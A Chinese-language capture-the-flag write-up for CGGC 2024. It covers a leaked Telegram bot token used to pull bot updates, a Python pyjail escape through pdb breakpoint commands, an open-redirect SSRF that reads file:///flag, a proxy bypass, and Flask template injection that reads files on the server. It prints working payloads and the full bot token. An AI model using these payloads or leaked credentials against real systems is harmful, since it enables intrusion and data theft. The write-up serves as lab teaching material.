# CGGC 2024 Writeup The CTF challenges writeup for Cyber Guardian Grand Challenge (CGGC) 2024. ![image](https://hackmd.io/_uploads/BkAgxLDWJx.png) # Misc ## Day31- 水落石出!真相大白的十一月預告信? ### Challenge description ![image](https://hackmd.io/_uploads/ry2CYiV-yl.png) 據可靠消息,怪盜カズマ 將於 11 月 2 日正午現身,意圖偷走我多年守護的大秘寶! 幸好我早就把偷來的東西都藏到了那裡 >< 備註:請勿惡意破壞比賽環境,違者將取消參賽資格 Author: Kazma https://ithelp.ithome.com.tw/users/20168875/ironman/7849 ### Solution 前往對應網址後會發現是 2024 iThome 鐵人賽介紹 Flipper Zero 的系列文章,一共有 30 篇,上網搜尋後會發現這篇文章也有放在 Kazma 自己的 Blog 上面: ![image](https://hackmd.io/_uploads/ryL50o4b1x.png) 去 Blog 的 Github Repo (https://github.com/kazmatw/kazmatw.github.io) 上面看 blog 的更新內容,發現在 commit Site updated: 2024-10-29 16:57:28 時更改了 Day19 的文章: ![截圖 2024-11-03 下午3.52.23](https://hackmd.io/_uploads/Sy1bhsVZJg.png) ![截圖 2024-11-03 晚上9.16.08](https://hackmd.io/_uploads/ryspveHZ1e.png) 可以看到 telegram bot 的 token 被洩漏出來了,我們可以用這個 token 拿到 bot 跟用戶互動的更新資料: https://api.telegram.org/bot7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM/getUpdates 接著就可以在回傳內容中看到 flag 了。 ### Summary Flag: `CGGC{1_h8t3_y0u_K41d0_K4zm4}` ## Breakjail ⛓️ ### Challenge description Breakpoints are often used in various pyjails. This time, I'm giving one directly to you. Let's get it! Note: This task only works on Python 3.14.0a1. It may not vulnerable on other versions. Author: Vincent55 ### Solution 首先打開題目提供的 source code 查看內容: jail.&ZeroWidthSpace;py: ```python #!/usr/local/bin/python3 print(open(__file__).read()) flag = open('flag').read() flag = "Got eaten by the cookie monster QQ" inp = __import__("unicodedata").normalize("NFKC", input(">>> ")) if any([x in "._." for x in inp]) or inp.__len__() > 55: print('bad hacker') else: eval(inp, {"__builtins__": {}}, { 'breakpoint': __import__('GoodPdb').good_breakpoint}) print(flag) ``` 可以看到程式會檢查使用者的輸入(不能包含 ._ 並且長度不能大於 55),並且在執行 eval 的時候將內建函式都禁用掉,只剩下一個自訂的 breakpoint(來自 GoodPdb 檔案裡的 good_breakpoint) 可以使用。 GoodPdb.&ZeroWidthSpace;py: ```python import pdb # patch from https://github.com/python/cpython/blob/ed24702bd0f9925908ce48584c31dfad732208b2/Lib/cmd.py#L98 class GoodPdb(pdb.Pdb): def cmdloop(self, intro=None): <SNIP> while not stop: if self.cmdqueue: line = self.cmdqueue.pop(0) else: if self.use_rawinput: try: """ no interactive! """ # line = input(self.prompt) line = "EOF" except EOFError: line = 'EOF' else: self.stdout.write(self.prompt) self.stdout.flush() line = self.stdin.readline() if not len(line): line = 'EOF' else: line = line.rstrip('\r\n') <SNIP> def do_interact(self, arg): """ no interactive! """ pass good_breakpoint = GoodPdb().set_trace ``` GoodPdb 繼承原本的 Pdb class,並且修改了 `cmdloop()` 和 `do_interact()` 這兩個 function。將修改後的函式與原本的進行比較之後會發現 GoodPdb 禁止掉了原本 debug 的互動介面,因此沒辦法用互動的方式來執行 debug command。 題目提示了這題只在 Python 3.14.0a1 起作用,上網搜尋 Python Github Repo 中 pdb 的程式 (https://github.com/python/cpython/blob/main/Lib/pdb.py),可以看到 `set_trace()` 函式會接收 commands 這個參數: ```python def set_trace(self, frame=None, *, commands=None): Pdb._last_pdb_instance = self if frame is None: frame = sys._getframe().f_back if commands is not None: self.rcLines.extend(commands) super().set_trace(frame) ``` 而 3.14.0a1 以外的版本沒有這個參數: ```python # 3.11 def set_trace(self, frame=None): """Start debugging from frame. If frame is not specified, debugging starts from caller's frame. """ if frame is None: frame = sys._getframe().f_back self.reset() while frame: frame.f_trace = self.trace_dispatch self.botframe = frame frame = frame.f_back self.set_step() sys.settrace(self.trace_dispatch) ``` 可以猜測在 Python 3.14 版本中,pdb 支援指令透過參數傳遞來執行。 連上 server 後嘗試執行 help 指令: ``` ┌──(parallels㉿kali)-[~/…/misc/Breakjail/shared_breakjail/share] └─$ nc 10.99.66.8 10001 #!/usr/local/bin/python3 print(open(__file__).read()) flag = open('flag').read() flag = "Got eaten by the cookie monster QQ" inp = __import__("unicodedata").normalize("NFKC", input(">>> ")) if any([x in "._." for x in inp]) or inp.__len__() > 55: print('bad hacker') else: eval(inp, {"__builtins__": {}}, { 'breakpoint': __import__('GoodPdb').good_breakpoint}) print(flag) >>> breakpoint(commands="h") Documented commands (type help <topic>): ======================================== EOF cl disable ignore n return u where a clear display interact next retval unalias alias commands down j p run undisplay args condition enable jump pp rv unt b cont exceptions l q s until break continue exit list quit source up bt d h ll r step w c debug help longlist restart tbreak whatis Miscellaneous help topics: ========================== exec pdb > <string>(1)<module>() ``` 組合 pdb 的指令跳到程式第四行並用 p 印出 flag 變數裡面的值就可以拿到真正的 flag 了: ``` # 先用 n 回到主程式,接著跳到第四行,執行後印出 flag 變數就可以拿到 flag 了 >>> breakpoint(commands=["n;;n;;j 4;;n;;p flag"]) --Return-- > /home/pyjail/jail.py(4)<module>() -> flag = open('flag').read() 'CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}\n' > /home/pyjail/jail.py(5)<module>() -> flag = "Got eaten by the cookie monster QQ" ``` ### Summary Flag: `CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}` ### Refence [Python docs - Pdb](https://docs.python.org/zh-tw/3.14/library/pdb.html#pdbcommand-commands) # Web ## Preview Site 🔍 ### Challenge description This website allows you to preview this website. Author: Vincent55 ### Solution 查看網站: ![image](https://hackmd.io/_uploads/HJTjg64-Je.png) 可以從網站上看到需要先登入才能使用其他功能,而打開題目給的 source code 查看程式後會發現在程式中有提供一組帳號 (guest:guest): app/main.&ZeroWidthSpace;py: ```python <SNIP> users = {'guest': 'guest'} def send_request(url, follow=True): try: response = urllib.request.urlopen(url) except urllib.error.HTTPError as e: response = e redirect_url = response.geturl() if redirect_url != url and follow: return send_request(redirect_url, follow=False) return response.read().decode('utf-8') <SNIP> @app.route('/logout') def logout(): session.pop('username', None) next_url = request.args.get('next', url_for('index')) return redirect(next_url) @app.route('/fetch', methods=['GET', 'POST']) def fetch(): if 'username' not in session: return redirect(url_for('login')) if request.method == 'POST': url = request.form.get('url') if not url: flash('Please provide a URL.') return render_template('fetch.html') try: if not url.startswith(os.getenv("DOMAIN", "http://previewsite/")): raise ValueError('badhacker') resp = send_request(url) return render_template('fetch.html', content=resp) except Exception as e: error = f'error:{e}' return render_template('fetch.html', error=error) return render_template('fetch.html') <SNIP> ``` Dockerfile: ```dockerfile FROM tiangolo/uwsgi-nginx-flask:python3.10 RUN pip install --no-cache-dir requests ARG FLAG RUN echo $FLAG > /flag ``` 從程式中可以發現,`/fetch` 會接收使用者給的 url,檢查是否以 `http://previewsite` 開頭,如果是的話就透過 `send_request()` 函式執行,並將執行結果顯示到 `fetch.html` 上。 而 `send_request()` 會透過 `urllib.request.urlopen(url)` 向對應的 url 送出 request,並且如果結果為重定向,將會跟隨一次重定向去獲取最終 URL 的內容。 另外,`/logout` 允許設定 next 參數來設定登出後重定向的 url,因此我們可以透過 `/logout` 端點來繞過 `/fetch` 的 url 檢查,在後面添加我們想要重定向的網址讓 `send_request()` 可以訪問任意網址。 ``` http://previewsite/logout?next=url ``` 而在了解了 `urllib.request.urlopen(url)` 之後會發現,這個函式是可以訪問 file url 的,因此如果我們將前面重定向的 url 換成 file url,程式就會幫我們讀取檔案的內容顯示回網頁上,因此我們最後的 payload 為: ``` http://previewsite/logout?next=file:///flag ``` 接著透過網站上的 Send Request 服務(Send Request 後會將 url 送到 `/fetch`)來送入 payload 就可以拿到 flag 了: ![image](https://hackmd.io/_uploads/H1VbIaVZJg.png) ### Summary Flag: `CGGC{open_redirect_to_your_local_file_2893hrgiubf3wq1}` ## proxy ### Challenge description Access http://secretweb/flag to get flag. Author:Chumy ### Solution 打開網站後可以看到 source code: ```php <?php function proxy($service) { // $service = "switchrange"; // $service = "previewsite"; // $service = "越獄"; $requestUri = $_SERVER['REQUEST_URI']; $parsedUrl = parse_url($requestUri); $port = 80; if (isset($_GET['port'])) { $port = (int)$_GET['port']; } else if ($_COOKIE["port"]) { $port = (int)$_COOKIE['port']; } setcookie("service", $service); setcookie("port", $port); $ch = curl_init(); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@'; $fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter); $fixeddomain = idn_to_ascii($fixeddomain); $fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain); curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']); curl_exec($ch); curl_close($ch); } if (!isset($_GET['service']) && !isset($_COOKIE["service"])) { highlight_file(__FILE__); } else if (isset($_GET['service'])) { proxy($_GET['service']); } else { proxy($_COOKIE["service"]); } ``` 可以看到題目會接收 service/port 跟其他的參數,然後將其重組成一個 url 然後訪問對應的網址,而我們要想辦法讓其訪問 http://secretweb/flag。 了解一下程式後可以知道 url 的重組規則: ``` # port 不設定就會是 80 當前網站: http://10.99.66.6/{path}?service={service}&port={port}&others={others} 新的連結: http://{service}.cggc.chummy.tw:{port}/{path}?others={others} ``` 由於程式會強制在 service 後面加上 `.cggc.chummy.tw` domain,並且程式中會將一些符號 filter 掉,因此我們不能直接訪問 secretweb,不過可以利用上一題 Preview Site 🔍 的重定向來幫我們導向 secretweb: ``` # previewsite 在 port 10002 上 https://10.99.66.6/logout?service=previewsite&port=10002&next=http://secretweb/flag ``` 訪問網址後就可以透過程式幫我們訪問 secretweb 來拿到 flag 了。 ### Summary Flag: `CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}` ## Breakjail Online 🛜 ### Challenge description I used a breakpoint in the Flask debug environment, but I think I forgot to remove it! Note: This task only works on Python 3.14.0a1. It may not vulnerable on other versions. Author:Vincent55 ### Solution 查看題目提供的 source code: Dockerfile: ```dockerfile <SNIP> ARG FLAG RUN echo $FLAG > /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1` ENV FLASK_ENV=production CMD ["gunicorn", "--bind", "0.0.0.0:5000", "app:app"] ``` 可以看到 flag 的檔名後面會有一個隨機的後綴。 app/app.&ZeroWidthSpace;py: ```python from flask import Flask, render_template_string, request app = Flask(__name__) @app.route('/', methods=['GET']) def index(): return "Hello, World! <br><a href='/SsTiMe'>SSTI me</a> :/" @app.route('/SsTiMe', methods=['GET']) def showip(): # WOW! There has a SSTI in Flask!!! q = request.args.get('q', "'7'*7") # prevent smuggling bad payloads! request.args={} request.headers={} request.cookies={} request.data ={} request.query_string = b"#"+request.query_string if any([x in "._.|||" for x in q]) or len(q) > 88: return "Too long for me :/ my payload less than 73 chars" res = render_template_string(f"{{{{{q}}}}}", # TODO: just for debugging, remove this in production breakpoint=breakpoint, str=str ) # oops, I just type 'res' not res qq return 'res=7777777' ``` 可以看到這題跟 misc 的 Breakjail ⛓️ 一樣提供了 breakpoint() 函式,並且會阻擋包含 `._|` 符號的 request,而我們可以透過 SSTI 漏洞來執行 breakpoint。 因為無法透過 web 來使用互動模式,因此跟上一題 Breakjail 一樣,要使用 commands 參數來執行 debug command。 嘗試執行 breakpoint: ``` http://10.99.66.7:10003/SsTiMe?q=breakpoint() ``` 發現 response 為 500 Internal Server Error,用 docker 將環境架在自己電腦上來測試: ```bash docker build -t breakjail-online . docker run -d -p 10003:5000 --name breakjail-online breakjail-online docker attach breakjail-online ``` 查看 docker 上服務的 error 訊息,發現因為執行 breakpoint 後互動模式會打開,程式卡在 Pdb 沒辦法正常退出並回傳 response。因此如果想要得到正常的回覆 (200),可以透過 command `c(ontinue)` 讓程式繼續執行到 `return 'res=7777777'`,讓 flask 能夠正常回傳 response 以避開 Internal Server Error 的問題。 ``` http://10.99.66.7:10003/SsTiMe?q=breakpoint(commands=["c"]) ``` ![image](https://hackmd.io/_uploads/Hycs_A4byl.png) 接下來透過本地環境測試 payload: ``` u -> 回到上一個 frame ll -> 印出程式 p -> 印出變數 ``` ``` breakpoint(commands=["u+5;;ll;;c"]) -> 回到主程式 breakpoint(commands=["u+5;;r;;r;;r;;ll;;c"]) -> 指向 return self.finalize_request(rv) breakpoint(commands=["u+5;;r;;r;;r;;p+rv;;c"]) -> 印出 res=7777777 ``` 先透過 u 回到主程式,接下來用 r(eturn) 讓程式繼續執行直到當前函數返回,並使用 ll 印出程式碼,會發現 flask 在回傳 response 的時候會經過 `self.finalize_request(rv)` 這個指令。而透過 p 將 rv 的值印出來會發現 rv 的值跟主程式中回傳的值相同,因此我們可以猜測如果更改 rv 值就可以改變 response 中顯示的結果。 ``` http://10.99.66.7:10003/SsTiMe?q=breakpoint(commands=["u+5;;r;;r;;r;;rv='123';;c"]) ``` ![image](https://hackmd.io/_uploads/HJhNpREb1x.png) 可以看到成功操控回傳的內容了,因此接下來可以透過 os 來將 `/` 底下的檔案印出來來找出 flag 檔名: ``` breakpoint(commands=["u+5;;r;;r;;r;;from+os+import+*;;rv=listdir('/');;c"]) ``` ![image](https://hackmd.io/_uploads/H1jpa0E-Je.png) 檔名中包含 _ 這個符號,而程式中阻擋有這個符號的 request,在嘗試之後發現雖然可以使用 `chr(95)` 來得到 _,但是字串串接的時候會遇到問題: ![image](https://hackmd.io/_uploads/HyvD0CVb1l.png) ![image](https://hackmd.io/_uploads/H1bK0RN-Jx.png) 因此使用 glob module 來透過通配符抓出 flag 檔案: ``` breakpoint(commands=["u+5;;r;;r;;r;;from+glob+import+*;;rv=open(glob('/f*')[0]);;c"]) ``` ![image](https://hackmd.io/_uploads/HJye1kBW1g.png) 執行之後就可以拿到 flag 了。 ### Summary Flag: `CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}` ### Refence [Python docs - Pdb](https://docs.python.org/zh-tw/3.14/library/pdb.html#pdbcommand-commands)